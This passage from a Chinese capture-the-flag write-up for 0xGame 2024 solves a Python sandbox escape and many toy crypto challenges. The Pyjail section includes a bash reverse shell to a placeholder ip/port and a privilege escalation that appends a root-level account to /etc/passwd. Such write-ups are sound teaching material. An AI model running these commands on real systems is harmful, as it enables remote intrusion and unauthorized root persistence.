print(f"解密完成,已保存到 {output_file}")

运行得到

最后flag为

1
0xGame{8552BB81-D51A-FDCE-2EF1-55EBBEFF9B9C}

Untouchable flag

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import re

def welcome():
print('''
_______ ________ _______________ ________ _____
\ _ \ ___ ___/ _____/_____ _____ ____ \_____ \ _ \ \_____ \ / | |
/ /_\ \\ \/ / \ ___\__ \ / \_/ __ \ / ____/ /_\ \ / ____/ / | |_
\ \_/ \> <\ \_\ \/ __ \| Y Y \ ___// \ \_/ \/ \/ ^ /
\_____ /__/\_ \\______ (____ /__|_| /\___ >_______ \_____ /\_______ \____ |
\/ \/ \/ \/ \/ \/ \/ \/ \/ |__|
''')
print("This is a Pyjail I've made especially for you, and all you want is in this file directory.\n")
print("Many commonly used characters are banned, and there are also restrictions on character length.\n")
print("However, I can kindly give you a hint that the Python version is greater than 3.7.\n")
print("JUST DO IT.")

def pyjail():
pattern = re.compile("[a-zA-Z0-9]")
while True:
code = input(">")

if re.findall(pattern,code):
print("Some characters in your code are banned.")
elif len(code) > 12:
print("Your code is too long.")
else:
eval(code)

welcome()
pyjail()

可以看到禁用了所有字母和数字,并且对代码长度有所限制,必须不大于12
nc连上后题目还给了一个hint: the Python version is greater than 3.7. ,网上找找可
以知道python3支持非ASCII字符,可以用unicode字符绕过第一个限制,并且还可以找到从Python
3.7开始引入了breakpoint()函数,于是可以绕过第二个限制进行rce

exp:

1
2
3
4
5
from pwn import *
p = remote("gz.imxbt.cn",20004)
code = "𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()"
p.sendline(code)
p.interactive()

运行得到

发现绕过,反弹shell

1
!import os; os.system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"')

提权

1
2
echo "aaa:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
su aaa>password@123

最后flag为

1
0xGame{PyJ@i1_w1Th_P@sswd_3l3Vat3_pr1v1l3g3}

crypto

Caesar Cipher

凯撒解密

最后flag为

1
0xGame{The_Beginning_Of_Crypto}

code

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#How to use mathematics to represent information?
from Crypto.Util.number import bytes_to_long
from base64 import b64encode
from secret import flag

msg = flag.encode()
length = len(msg)

assert length%4 == 0
block = length//4
m = [ msg[ block*(i) : block*(i+1) ] for i in range(4) ]

m0 = m[0]
m1 = bytes_to_long(m[1])
m2 = m[2].hex()
m3 = b64encode(m[3])

print(f'm0 = {m0}\nm1 = {m1}\nm2 = {m2}\nm3 = {m3}')
'''
m0 = b'0xGame{73d7'
m1 = 60928972245886112747629873
m2 = 3165662d393339332d3034
m3 = b'N2YwZTdjNGRlMX0='
'''

exp:

1
2
3
4
5
6
7
8
from Crypto.Util.number import long_to_bytes
from base64 import b64decode
m0 = b'0xGame{73d7'
m1 = 60928972245886112747629873
m2 = '3165662d393339332d3034'
m3 = b'N2YwZTdjNGRlMX0='
flag = m0 + long_to_bytes(m1) + bytes.fromhex(m2) + b64decode(m3)
print(flag)

运行得到

最后flag为

1
0xGame{73d72f64-7656-11ef-9393-047f0e7c4de1}

Code-Vigenere

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from secret import flag
from os import urandom
from base64 import b64encode

def Encrypt(msg, key):
Lenth = len(key)
result = ''

upper_base = ord('A')
lower_base = ord('a')
KEY = [ord(key.upper()[_]) - upper_base for _ in range(Lenth)]

index = 0
for m in msg:
tmp_key = KEY[index%Lenth]
if not m.isalpha():
result += m
continue

if m.isupper():
result += chr(upper_base + (ord(m) - upper_base + tmp_key) % 26)
else:
result += chr(lower_base + (ord(m) - lower_base + tmp_key) % 26)
index += 1
return result

key = b64encode(urandom(6))[:5].decode()
print(Encrypt(flag,key))

#0lCcop{oyd94092-g8mq-4963-88b6-4helrxdhm6q7}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from base64 import b64decode

def Decrypt(ciphertext, key):
Lenth = len(key)
result = ''
index = 0

upper_base = ord('A')
lower_base = ord('a')
KEY = [ord(key.upper()[i]) - upper_base for i in range(Lenth)]

for c in ciphertext:
if not c.isalpha():
result += c
continue

tmp_key = KEY[index % Lenth]
if c.isupper():
# 解密:减去密钥值(注意处理负数)
decrypted_char = chr(upper_base + (ord(c) - upper_base - tmp_key) % 26)
else:
decrypted_char = chr(lower_base + (ord(c) - lower_base - tmp_key) % 26)

result += decrypted_char
index += 1

return result

# 给定的密文
ciphertext = "0lCcop{oyd94092-g8mq-4963-88b6-4helrxdhm6q7}"

# 通过已知部分推导出的密钥('0xGame{' -> '0lCcop{')
# 密钥数字值:[14, 22, 2, 2, 11] 对应字母 "OWCCL"
key = "OWCCL"

# 解密密文
plaintext = Decrypt(ciphertext, key)
print("还原的 Flag:", plaintext)

运行得到

最后flag为

1
0xGame{acb94092-e8bc-4963-88f6-4fcadbbfb6c7}

RSA-baby

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from Crypto.Util.number import bytes_to_long, getPrime
from hashlib import md5
from random import randint
from gmpy2 import invert,gcd

#Hash Function:
def MD5(m):return md5(str(m).encode()).hexdigest()

#RSA AlgorithmParameter Generation Function:
def KeyGen():
Factor_BitLength = 30
q = getPrime(Factor_BitLength)
p = getPrime(Factor_BitLength)
N = p * q
#Euler's totient function:
phi = (p-1) * (q-1)

#Generate Keys:
while True:
e = randint(1,phi)
if gcd(e,phi) == 1:
d = int(invert(e,phi))
break

#Generate Result:
Pub_Key = (N,e)
Prv_Key = (N,d)
return Pub_Key,Prv_Key

Pub,Prv = KeyGen()

N = Pub[0]
e = Pub[1]
d = Prv[1]

#RSA Encrypt:
m = randint(1,N)
c = pow(m,e,N)

print(f'Pub_Key = {Pub}')
print(f'Prv_Key = {Prv}')
print(f'Encrypt_msg = {c}')

'''
Pub_Key = (547938466798424179, 80644065229241095)
Prv_Key = (547938466798424179, 488474228706714247)
Encrypt_msg = 344136655393256706
'''

flag = '0xGame{'+ MD5(m) +'}'

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import bytes_to_long, long_to_bytes
from hashlib import md5

# 给定的参数
N = 547938466798424179
d = 488474228706714247 # 私钥指数
c = 344136655393256706 # 密文

# RSA 解密
m = pow(c, d, N)

# 计算 MD5 哈希值
def MD5(m):
return md5(str(m).encode()).hexdigest()

# 构造 flag
flag = '0xGame{' + MD5(m) + '}'
print("还原的 Flag:", flag)

运行得到

最后flag为

1
0xGame{6e5719c54cdde25ce7124e280803f938}

RSA-easy

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Util.number import bytes_to_long, getPrime
from hashlib import md5
from random import randint
from gmpy2 import invert,gcd

#Hash Function:
def MD5(m):return md5(str(m).encode()).hexdigest()

#RSA AlgorithmParameter Generation Function:
def KeyGen():
Factor_BitLength = 30
q = getPrime(Factor_BitLength)
p = getPrime(Factor_BitLength)
N = p * q
#Euler's totient function:
phi = (p-1) * (q-1)

#Generate Keys:
while True:
e = randint(1,phi)
if gcd(e,phi) == 1:
break

#Generate Result:
Pub_Key = (N,e)
return Pub_Key

Pub = KeyGen()

N = Pub[0]
e = Pub[1]

#RSA Encrypt:
m = randint(1,N)
c = pow(m,e,N)

print(f'Pub_Key = {Pub}')
print(f'Encrypt_msg = {c}')

'''
Pub_Key = (689802261604270193, 620245111658678815)
Encrypt_msg = 289281498571087475
'''

flag = '0xGame{'+ MD5(m) +'}'

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from Crypto.Util.number import isPrime, long_to_bytes
from hashlib import md5
from math import isqrt
import gmpy2

# 给定的参数
N = 689802261604270193
e = 620245111658678815
c = 289281498571087475

# 分解 N 的函数
def factorize(n):
# 检查小因子
for i in range(2, 10000):
if n % i == 0:
return i, n // i

# 使用 Pollard Rho 算法
def pollard_rho(n):
x = 2
y = 2
d = 1
f = lambda x: (x*x + 1) % n

while d == 1:
x = f(x)
y = f(f(y))
d = gmpy2.gcd(abs(x - y), n)

if d == n:
return None
return d

factor = pollard_rho(n)
if factor:
return factor, n // factor
else:
# 尝试 Fermat 方法
a = isqrt(n)
b2 = a*a - n
while not gmpy2.is_square(b2):
a += 1
b2 = a*a - n
b = isqrt(b2)
return a - b, a + b

# 分解 N
p, q = factorize(N)
print(f"分解结果: p = {p}, q = {q}")

# 计算欧拉函数 phi(N)
phi = (p - 1) * (q - 1)

# 计算私钥 d
d = int(gmpy2.invert(e, phi))

# 解密密文
m = pow(c, d, N)
print(f"解密后的消息 m: {m}")

# 计算 MD5 哈希
def MD5(m):
return md5(str(m).encode()).hexdigest()

# 构造 flag
flag = '0xGame{' + MD5(m) + '}'
print("最终的 Flag:", flag)

运行得到

最后flag为

1
0xGame{5aa4603855d01ffdc5dcf92e0e604f31}

Number-Theory-CRT

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import bytes_to_long, getPrime
from hashlib import md5
from random import randint
from gmpy2 import invert,gcd

#Hash Function:
def MD5(m):return md5(str(m).encode()).hexdigest()

#RSA AlgorithmParameter Generation Function:
def KeyGen():
Factor_BitLength = 30
q = getPrime(Factor_BitLength)
p = getPrime(Factor_BitLength)
N = p * q
#Euler's totient function:
phi = (p-1) * (q-1)

#Generate Keys:
e = randint(1,phi)

#Generate Result:
Pub_Key = (N,e)
return Pub_Key

Pub = KeyGen()

N = Pub[0]
e = Pub[1]

#RSA Encrypt:
m = randint(1,N)
c = pow(m,e,N)

print(f'Pub_Key = {Pub}')
print(f'Encrypt_msg = {c}')

'''
Pub_Key = (1022053332886345327, 294200073186305890)
Encrypt_msg = 107033510346108389
'''

flag = '0xGame{'+ MD5(m) +'}'

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import *
from hashlib import md5
import gmpy2
import sympy
from sympy.ntheory.modular import crt
def MD5(m):return md5(str(m).encode()).hexdigest()
Pub_Key = (1022053332886345327, 294200073186305890)
c = 107033510346108389
e = Pub_Key[1]
n = Pub_Key[0]
p = 970868179
q = 1052721013
phi = (p-1) * (q-1)
print(gmpy2.gcd(e,phi)) # 发现公约数2,分析得到二次剩余

def find_quadratic_residues(a, p):
# 首先检查 a 是否是模 p 下的二次剩余
if not sympy.is_quad_residue(a, p):
return None # 如果 a 不是二次剩余,返回 None

# 使用 sympy 的 nthroot_mod 找到一个解
x = sympy.nthroot_mod(a, 2, p, all_roots=False)

# 计算另一个解
second_solution = p - x

return (x, second_solution)

x1 = find_quadratic_residues(c,p) # 求解模p下的二次剩余
x2 = find_quadratic_residues(c,q) # 求解模q下的二次剩余

for i in x1:
for j in x2:
remainders = [i,j]
mods = [p,q]
m_ = crt(mods, remainders)[0] # CRT合并得到模n的二次剩余解
c_ = m_%n

e_ = e//2
d = inverse(e_,phi)
m = pow(c_,d,n)

flag = '0xGame{'+ MD5(m) +'}'
print(flag)

运行得到

最后flag为

1
0xGame{3932f6728585abbf751a212f69276d3e}

Diffie-Hellman

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/local/bin/python
from Crypto.Util.number import isPrime, getPrime
from string import ascii_letters, digits
from Crypto.Cipher import AES
from hashlib import sha256
from random import randint
from random import choice
from hashlib import md5
from os import urandom

from secret import flag

def MD5(m):return md5( str(m).encode() ).digest()

def gen(bit_length):
while True:
q = getPrime(bit_length)
p = 2*q + 1
if isPrime(p):
g = randint(2,p-1)
if (pow(g,2,p) != 1) & (pow(g,q,p) != 1):
break
return q,g

def proof_of_work():
proof = ''.join([choice(ascii_letters+digits) for _ in range(20)])
_hexdigest = sha256(proof.encode()).hexdigest()
print(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}")
x = input('[+] Plz tell me XXXX: ')
if len(x) != 4 or sha256( (x+proof[4:]).encode() ).hexdigest() != _hexdigest:
return False
return True

assert proof_of_work()

q,g = gen(128)
print(f'Share (q,g) : {q,g}')
Alice_PriKey = randint(1, q)
Alice_PubKey = pow(g, Alice_PriKey, q)
print(f'Alice_PubKey : {Alice_PubKey}')

Bob_PubKey = int( input("[+] Give me the Bob_PubKey\n> ") )
print(f'Bob_PubKey : {Bob_PubKey}')

Share_Key = pow(Bob_PubKey, Alice_PriKey, q)
Cipher = AES.new(MD5(Share_Key), AES.MODE_ECB)
ct = Cipher.encrypt(flag)
print(f'Alice tell Bob : {ct.hex()}')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from hashlib import sha256
from string import ascii_letters, digits
import itertools
from pwn import *

r=remote("gz.imxbt.cn",20015)
r.recvuntil(b'XXXX+')
suf=r.recv(16)
dir=ascii_letters+digits
r.recvuntil(b' == ')
proof=r.recvline().strip()

payload=""
for i,j,k,l in itertools.product(dir,repeat=4):
s=i+j+k+l+suf.decode()
ver=sha256(s.encode()).hexdigest().encode()
if ver == proof:
payload=i+j+k+l
break
r.recvuntil(b'XXXX: ')
r.sendline(payload.encode())
print("proof over!")

print(r.recvline())

from Crypto.Cipher import AES
from hashlib import md5
def MD5(m):return md5( str(m).encode() ).digest()

r.recvuntil(b'Give me the Bob_PubKey')
r.sendline(b'1')

r.recvuntil(b'Alice tell Bob : ')
c=r.recvline().strip().decode()
print(c)
c=bytes.fromhex(c)
Cipher = AES.new(MD5("1"), AES.MODE_ECB)
flag = Cipher.decrypt(c)
print(flag)


r.interactive()

Elgamal

下载附件

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/local/bin/python
from random import choice
from hashlib import sha256
from string import ascii_letters, digits

from util import Elgamal
from secret import flag

def proof_of_work():
proof = ''.join([choice(ascii_letters+digits) for _ in range(20)])
_hexdigest = sha256(proof.encode()).hexdigest()
print(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}")
x = input('[+] Plz tell me XXXX: ')
if len(x) != 4 or sha256( (x+proof[4:]).encode() ).hexdigest() != _hexdigest:
return False
return True

assert proof_of_work()

S = Elgamal()
print(f'My Public Key (q,g,y):{S.q, S.g, S.y}')
msg = (b'Welcome_to_0xGame2024_Crypto').hex()

print(f'The input msg : {msg}')
msg = bytes.fromhex(msg)
r,s = S.Sign(msg)
print(f'And the msg signatue (r,s):{r,s}')

print("Now, it's your turn to help me sign something")
msg_ = bytes.fromhex(input('[+] Give me your message:\n>'))
r_ = int(input('[+] Give me your r:\n>'))
s_ = int(input('[+] Give me your s:\n>'))

if S.Verity(msg_,(r_,s_)) and (msg_ == msg):
print("It looks like you know how to verify the signature. Try getting the flag.")
elif S.Verity(msg_,(r_,s_)):
print(f'flag : {flag}')
else:
print('Is something wrong ?')

util.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import getPrime, isPrime, inverse
from hashlib import sha256
from random import randint

class Elgamal:
def __init__(self):
self.q, self.g = self.gen()
self.d = randint(0, self.q - 2)
self.y = pow(self.g, self.d, self.q)

def gen(self):
#原根生成函数
q = 8867984692712162589394753592684462893849721383808359270870591946309591420901509987341888487540800853389811701998166292427185543648905432008953442556844003

while True:
#q = getPrime(512)
p = 2*q + 1
if isPrime(p):
g = randint(2,p-1)
if (pow(g,2,p) != 1) & (pow(g,q,p) != 1):
break
return q,g

def Hash(self, msg):
#哈希函数
return int(sha256(msg).hexdigest(),16)

def Sign(self, msg):
#签名函数
m = self.Hash(msg)
phi = self.q - 1

while True:
k = getPrime(512)
if k < phi : break

r = pow(self.g, k, self.q)
s = ((m - self.d * r) * inverse(k,phi)) % (phi)
return (r,s)

def Verity(self, msg, Signature):
#验签函数
m = self.Hash(msg)
r,s = Signature

A = (pow(self.y, r, self.q) * pow(r, s, self.q)) % self.q
B = pow(self.g, m, self.q)

if A == B:
return True
else:
return False

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from hashlib import sha256
from string import ascii_letters, digits
import itertools
from pwn import *

r=remote("ip",port)
r.recvuntil(b'XXXX+')
suf=r.recv(16)
dir=ascii_letters+digits
r.recvuntil(b' == ')
proof=r.recvline().strip()


payload=""
for i,j,k,l in itertools.product(dir,repeat=4):
s=i+j+k+l+suf.decode()
ver=sha256(s.encode()).hexdigest().encode()
if ver == proof:
payload=i+j+k+l
break
r.recvuntil(b'XXXX: ')
r.sendline(payload.encode())

from Crypto.Util.number import *
from gmpy2 import *
from sympy.ntheory.modular import crt
def Hash(msg):
return int(sha256(msg).hexdigest(),16)

r.recvuntil(b'(q,g,y):')
q,g,y=eval(r.recvline().strip())

m1=Hash(b'Welcome_to_0xGame2024_Crypto')

r.recvuntil(b'(r,s):')
r1,s1=eval(r.recvline().strip())

m2=b'11'
m2=Hash(bytes.fromhex(m2.decode()))

u=(m2*invert(m1,q-1))%(q-1)
x=crt([q-1,q],[r1*u,r1],check=True)
r2=int(x[0])
s2=(s1*u)%(q-1)
r.recvuntil(b'message:')
r.sendline(b'11')
r.recvuntil(b'r:')
r.sendline(str(r2).encode())
r.recvuntil(b's:')
r.sendline(str(s2).encode())


r.interactive()

LFSR-baby

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

from random import getrandbits
from secret import flag,seed
from hashlib import md5


def MD5(m):return md5(str(m).encode()).hexdigest()

class LFSR:
def __init__(self, seed, Length):
self.Length = Length
assert seed.bit_length() < self.Length + 1
self.Mask_seed = getrandbits(self.Length)
self.state = self.init_state(seed)
self.mask = self.init_state(self.Mask_seed)

def init_state(self, seed):
result = [int(i) for i in bin(seed)[2:]]
PadLenth = self.Length - len(result)
result += [ 0 ] * PadLenth
assert len(result) == self.Length
return result

def next(self):
output = 0
for i in range(self.Length):
output ^= self.state[i] & self.mask[i]
self.state = self.state[ 1: ] + [output]
return output

def getrandbits(self,Length):
result = []
for _ in range(Length):
result.append(str(self.next()))
return int(''.join(result),2)

assert seed.bit_length() == 128
test = LFSR(seed,128)
print(test.Mask_seed)
print(test.getrandbits(128))
print(test.getrandbits(128))

assert flag == '0xGame{' + MD5(seed) + '}'
'''
245818399386224174743537177607796459213
103763907686833223776774671653901476306
136523407741230013545146835206624093442
'''

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from hashlib import md5

def MD5(m):return md5(str(m).encode()).hexdigest()

def init_state(seed):
result = [int(i) for i in bin(seed)[2:]]
PadLenth = 128 - len(result)
result += [ 0 ] * PadLenth
assert len(result) == 128
return result

def init_random(seed):
result = [int(i) for i in bin(seed)[2:]]
PadLenth = 128 - len(result)
result = [ 0 ] * PadLenth + result
assert len(result) == 128
return result

random1 = 103763907686833223776774671653901476306
copy = random1
random2 = 136523407741230013545146835206624093442
Mask_seed = 245818399386224174743537177607796459213
random1,random2 = map(init_random,[random1,random2])
mask = init_state(Mask_seed)

def calc(state):
for i in range(128):
output = 0
for i in range(1,128):
output += state[i-1]*mask[i]
output += state[-1]
output = output%2
state = [output] + state[:-1]
return state
result = int(''.join(str(x) for x in calc(random2)),2) == copy
print(f"The calculation is {result}")
print("0xGame{"+MD5(int(''.join(str(x) for x in calc(random1)),2))+"}")

运行得到

最后flag为

1
0xGame{030ec00de18ceb4ddea5f6612d28bf39}

LFSR-easy

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from random import getrandbits
from secret import flag,Mask_seed
from hashlib import md5


def MD5(m):return md5(str(m).encode()).hexdigest()

class LFSR:
def __init__(self, Mask_seed, Length):
self.Length = Length
assert Mask_seed.bit_length() < self.Length + 1
self.seed = getrandbits(self.Length)
self.state = self.init_state(self.seed)
self.mask = self.init_state(Mask_seed)

def init_state(self, seed):
result = [int(i) for i in bin(seed)[2:]]
PadLenth = self.Length - len(result)
result += [ 0 ] * PadLenth
assert len(result) == self.Length
return result

def next(self):
output = 0
for i in range(self.Length):
output ^= self.state[i] & self.mask[i]
self.state = self.state[ 1: ] + [output]
return output

def getrandbits(self,Length):
result = []
for _ in range(Length):
result.append(str(self.next()))
return int(''.join(result),2)

assert Mask_seed.bit_length() == 128
test = LFSR(Mask_seed,128)
print(test.seed)
print(test.getrandbits(128))
print(test.getrandbits(128))

assert flag == '0xGame{' + MD5(Mask_seed) + '}'
'''
165943427582675380464843619836793254673
299913606793279087601607783679841106505
192457791072277356149547266972735354901
'''

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from hashlib import md5

def MD5(m):return md5(str(m).encode()).hexdigest()

def init_state(seed):
result = [int(i) for i in bin(seed)[2:]]
PadLenth = 128 - len(result)
result += [ 0 ] * PadLenth
assert len(result) == 128
return result

def init_random(seed):
result = [int(i) for i in bin(seed)[2:]]
PadLenth = 128 - len(result)
result = [ 0 ] * PadLenth + result
assert len(result) == 128
return result

random1 = 299913606793279087601607783679841106505
random2 = 192457791072277356149547266972735354901
seed = 165943427582675380464843619836793254673
random1,random2 = map(init_random,[random1,random2])
seed = init_state(seed)

def solve_GF2_linear_system(A, b):

F = GF(2)
A_GF2 = Matrix(F, A)
b_GF2 = vector(F, b)

try:
x = A_GF2.solve_right(b_GF2)
return x
except ValueError:
return None

def solution(m):
a,b = m[0],m[1]
solution = solve_GF2_linear_system(a, b)
if solution:
print(f"解向量为: {solution}")
return solution
else:
print("无解")
return None

def change(seed,random):
All = seed + random
a = [[0]*128 for _ in range(128)]
b = random
for i in range(128):
a[i] = All[i:i+128]
return (a,b)

ans1 = solution(change(seed,random1))
ans2 = solution(change(random1,random2))
print("The calculation is ",ans1 == ans2)
if ans1 == ans2:
print("0xGame{"+MD5(int("".join(str(i) for i in ans1),2))+"}")

运行得到

最后flag为

1
0xGame{d56821feacab64cdb87c754ad06823a2}

ECC-baby

下载附件

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Util.number import getPrime
from Crypto.Cipher import AES
from secret import key, flag
from random import randint
from hashlib import md5
from Util import *

def Pad(m):
while len(m) % 16 != 0: m += b'\x00'
return m

def MD5(m):
return md5(str(m).encode()).digest()

def Encrypt(E, G, P, m):
k = randint(1,E.p)
G_= k * G
P_= k * P

M = getrandpoint(E)
C = M + P_

Cipher = AES.new(MD5(M.x), AES.MODE_ECB)
enc = Cipher.encrypt( Pad(m) ).hex()

return (G_, C, enc)


p = 4559252311
a = 1750153947
b = 3464736227

curve = Curve(a, b, p)
G = getrandpoint(curve)
P = key * G

G_, C, enc = Encrypt(curve, G, P, flag)

print(f'G = {G }')
print(f'P = {P }')
print(f'G_= {G_}')
print(f'C = {C }')
print(f'enc= {enc}')

'''
G = (2909007728,1842489211)
P = (1923527223,2181389961)
G_= (1349689070,1217312018)
C = (662346568,2640798701)
enc= 29bb47e013bd91760b9750f90630d8ef82130596d56121dc101c631dd5d88201a41eb3baa5aa958a6cd082298fc18418
'''

Util.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from random import randint

class Point:
def __init__(self,x,y,curve, isInfinity = False):
self.x = x % curve.p
self.y = y % curve.p
self.curve = curve
self.isInfinity = isInfinity
def __add__(self,other):
return self.curve.add(self,other)
def __mul__(self,other):
return self.curve.multiply(self,other)
def __rmul__(self,other):
return self.curve.multiply(self,other)
def __str__(self):
return f"({self.x},{self.y})"
def __eq__(self, other):
return self.x == other.x and self.y == other.y and self.curve == other.curve

class Curve:
def __init__(self,a,b,p):
self.a = a%p
self.b = b%p
self.p = p

def multiply(self, P:Point, k:int) -> Point:
Q = P
R = Point(0,0,self,isInfinity=True)
while k > 0 :
if (k & 1) == 1:
R = self.add(R,Q)
Q = self.add(Q,Q)
k >>= 1
return R

def find_y(self,x):
x = x % self.p
y_squared = (pow(x, 3, self.p) + self.a * x + self.b) % self.p
assert pow(y_squared, (self.p - 1) // 2, self.p) == 1, "The x coordinate is not on the curve"
y = pow(y_squared, (self.p + 1) // 4, self.p)
assert pow(y,2,self.p) == (pow(x, 3, self.p) + self.a * x + self.b) % self.p
return y

def add(self,P: Point, Q : Point) -> Point:
if P.isInfinity:
return Q
elif Q.isInfinity:
return P
elif P.x == Q.x and P.y == (-Q.y) % self.p:
return Point(0,0,self,isInfinity=True)
if P.x == Q.x and P.y == Q.y:
param = ((3*pow(P.x,2,self.p)+self.a) * pow(2*P.y,-1,self.p))
else:
param = ((Q.y - P.y) * pow(Q.x-P.x,-1,self.p))
Sx = (pow(param,2,self.p)-P.x-Q.x)%self.p
Sy = (param * ((P.x-Sx)%self.p) - P.y) % self.p
return Point(Sx,Sy,self)

def getrandpoint(E):
while True:
try:
g = randint(1,E.p)
G = Point(g, E.find_y(g), E)
break
except:
continue
return G

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES
from hashlib import md5
def MD5(m):return md5(str(m).encode()).digest()
p = 4559252311
a = 1750153947
b = 3464736227
E = EllipticCurve(GF(p), [a,b])
G = E(2909007728,1842489211)
P = E(1923527223,2181389961)
k = G.discrete_log(P)
print(k)
G_= E(1349689070,1217312018)
C = E(662346568,2640798701)
M = C - k * G_
Cipher = AES.new(MD5(M.x()), AES.MODE_ECB)
enc='29bb47e013bd91760b9750f90630d8ef82130596d56121dc101c631dd5d88201a41eb3baa5aa958a6cd082298fc18418'
print(Cipher.decrypt(bytes.fromhex(enc)))

运行得到

最后flag为

1
0xGame{0b0e28c2-b36d-d745-c0be-fcf0986f316a}

LLL-I

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import bytes_to_long
from numpy import eye, matrix
from random import randint
from secret import flag

assert len(flag) % 4 == 0
Length = len(flag)//4

Noise = [[randint( 1, pow(2,90) ) for i in range(4)] for j in range(4)]

Noise[0]= [bytes_to_long(flag[i * Length : (i+1)* Length]) for i in range(4)]
M = matrix(Noise)

def Orthogonal_Matrix(n, p):
up = matrix(eye(n, dtype=int))
low = matrix(eye(n, dtype=int))
for i in range(n-1):
for j in range(i+1, n):
up[ i,j] = randint(1, p)
low[j,i] = randint(1, p)
return up * low

C = Orthogonal_Matrix(4, 65537)

print((C*M).tolist())

'''
[[1849784703482951012865152264025674575, 2664848085955925754350117767673627932, 2099783527396520151610274180590854166, 1020558595577301617108111920545804527], [1207449566811121614020334020195802372, 1954621976999112878661150903673543232, 1326050406731534201574943690688237338, 1361813208094227445768111591959011963], [888810907577479776819993141014777624, 1216302736807928240875874427765340645, 1027359437421599069599327712873719567, 238961447144792739830554790892164336], [60622164517940943037274386912282, 82958508138755168576836012717468, 70072118066826856564329627650828, 16296740862142507745322242235326]]
'''

exp:

1
2
3
4
5
6
7
8
from Crypto.Util.number import long_to_bytes
L=[[1849784703482951012865152264025674575, 2664848085955925754350117767673627932, 2099783527396520151610274180590854166, 1020558595577301617108111920545804527], [1207449566811121614020334020195802372, 1954621976999112878661150903673543232, 1326050406731534201574943690688237338, 1361813208094227445768111591959011963], [888810907577479776819993141014777624, 1216302736807928240875874427765340645, 1027359437421599069599327712873719567, 238961447144792739830554790892164336], [60622164517940943037274386912282, 82958508138755168576836012717468, 70072118066826856564329627650828, 16296740862142507745322242235326]]
L=matrix(ZZ,L)
L=L.LLL()
flag=b""
for i in L[0]:
flag+=long_to_bytes(abs(i))
print(flag)

运行得到

最后flag为

1
0xGame{04679c42-2bc1-42b2-b836-1b0ca542f36b}

LLL-II

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
